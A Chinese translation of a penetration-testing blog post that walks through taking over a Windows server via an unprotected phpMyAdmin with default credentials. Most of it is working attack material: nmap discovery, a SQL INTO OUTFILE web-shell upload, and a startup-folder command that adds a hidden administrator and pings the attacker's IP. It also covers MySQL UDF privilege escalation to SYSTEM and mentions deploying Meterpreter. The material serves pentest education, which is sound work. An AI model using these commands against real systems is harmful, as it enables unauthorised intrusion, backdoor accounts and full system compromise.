gongjiang 2014-11-20
原文地址:http://pen-testing.sans.org/blog/pen-testing/2013/04/10/putting-the-my-in-phpmyadmin
$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt
这个命令以正常速度(-T3)进行全连接扫描(-sT)。web服务器通常运行在端口80,443,8000,8443,和8080,所以这些端口用来主机发现(-PS),和检查(-p)。相比于-PN选项,我更喜欢-PS选项,因为它给我们更高质量的信息。
我们得到扫描结果:
Nmapscanreportfor172.16.105.194
Hostisup(0.00083slatency).
PORTSTATESERVICE
80/tcpclosedhttp
443/tcpclosedhttps
8000/tcpclosedhttp-alt
8080/tcpopenhttp-proxy
|http-enum:
|/phpmyadmin/:phpMyAdmin
|/phpMyAdmin/:phpMyAdmin
|_/PHPMyAdmin/:phpMyAdmin
8443/tcpclosedhttps-alt
服务器运行phpMyAdmin,登录到管理员页面。发现管理员使用默认口令。
事实是因为该服务器是一个监控服务器。phpMyAdmin被捆绑到软件安装包中。没有人知道默认安装了phpMyAdmin。
接下来使用sql上传webshell。记住当你在sql中粘贴shell的时候使用"\"来规避"'",否则sql报错。使用下列语法注入了phpshellcode。
select '[escaped php shell code]' INTO OUTFILE 'c:\\inetpub\\wwwroot\\shell.php';
我喜欢用Laudanum(下载地址:http://sourceforge.net/projects/laudanum/files/)phpshell,因为它可以限制IP和需要授权。
运行shell code后,需要了解我的权限。运行c:\windows\system32\cmd.exe /c whoami"返回一个"nt authority\network service"低权限账户。
技术1.写入user开机文件夹。
在C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup文件夹中创建一个bash文件,当任何user登录的时候,该文件就会执行。命令行窗口会弹出一瞬间,但是user可能不会注意到。即使注意到,也可能会忽视。
命令如下:
net user timmedin reallyl0ngp@ssw0rd! /add /y net localgroup administrators timmedin /add ping -n 1 -w 10 [MyIPaddress]
该该命令创建一个user,添加到本地管理员帐户。/y表示跳过弹出窗口。
平命令用来通知我已经出现user登录了。-n1选项表示发送一个ping数据包。-w10告诉命令在放弃前等待10毫秒。
技术2.使用sql注入UDF(user-definedfunction)
首先需要找到插件文件夹,使用如下命令:
select @@plugin_dir C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
然后上传UDF库
这是一种二进制文件,幸运的是,MYSQL"CHAR()"命令可以用来生成二进制数据。例如"SELECTCHAR(72,69,76,76,79)"会返回"HELLO"。我们可以使用下面python命令来实现转换:
$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"
拷贝粘贴,然后我们可以通过OUTFILE生成我们的文件:
SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll' FIELDS ESCAPED BY ''
接下来,注册dll:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
运行:
SELECT sys_eval('dir') FROM dual nt authority\system
接下来我们就可以做任何事了,上传Meterpretershell(通过python和OUTFILE),然后通过sys_exec/sys_eval来执行shell。我们可以创建一个管理员帐户。我们可以开启终端服务,修改防火墙等。